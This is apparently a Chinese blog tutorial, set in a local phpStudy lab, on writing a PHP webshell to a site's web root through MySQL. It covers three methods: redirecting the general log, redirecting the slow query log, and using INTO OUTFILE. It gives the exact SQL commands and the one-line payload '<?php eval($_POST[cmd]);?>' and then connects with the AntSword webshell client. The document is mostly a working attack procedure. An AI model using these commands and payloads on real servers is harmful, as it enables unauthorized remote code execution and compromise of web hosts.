1、前提

需要知道网站的绝对路径,我是在本地用phpstudy搭建的所以网站根目录为D:\phpStudy\WWW,真实情况下我们可以利用网站报错或者一些中间件来获取网站根目录。

image-20220115103835559

2、日志写入

(1)查看日志是否开启

1
show variables like '%general%';

image-20220115104006005

一般情况下这个日志记录是默认关闭的,需要我们手动开启。

(2)开启日志记录

1
SET GLOBAL general_log='on';

image-20220115104142647

(3)验证是否开启成功

image-20220115104337799

3、修改日志

(1)指定日志文件位置

1
set global general_log_file='D:/phpStudy/WWW/1.php';

image-20220115104602882

(2)写入

1
<?php eval($_POST[cmd]);?>

image-20220115104802056

(3)使用蚁剑连接

image-20220115105030805

3、慢日志查询

如果登录了phpMyadmin没有办法直接写入文件,可以使用慢查询日志来进行文件写入。

1
简单的说就是在mysql中,查询超过10秒的语句会被写到慢查询日志文件中去,一般默认是不开启的。利用这个特性就可以进行文件写入。

(1)首先查询slow的配置。

1
show variables like '%slow_query_log%';

image-20220115105223501

(2)开启日志

1
set global slow_query_log=1;

image-20220115105307113

(3)设置log日志的位置,设置为web目录下

1
set global slow_query_log_file='D:/phpStudy/WWW/2.php';

image-20220115105359728

(4)查看是否修改成功

1
show variables like '%slow_query_log%';

image-20220115105544423

(5)触发慢查询日志

1
select  '<?php eval($_POST[cmd]);?>' or sleep(11);

image-20220115105653503

(6)使用蚁剑连接

image-20220115105800006

4、into outfile写入

(1)查看导出权限

1
show global variables like 'secure%' 

image-20220115110814786

说明

1
2
3
secure_file_prive=null   限制mysqld 不允许导入导出
secure_file_priv=/var/lib/mysql-files/ 限制mysqld的导入导出只能发生在/var/lib/mysql-files/目录下
secure_file_priv='' 不对mysqld的导入导出做限制

(2)利用into outfile写入一句话木马

1
select ' <?php eval($_POST[cmd]);?>' into outfile 'D:/phpStudy/WWW/3.php';

image-20220115110357694

利用蚁剑连接

image-20220115110441201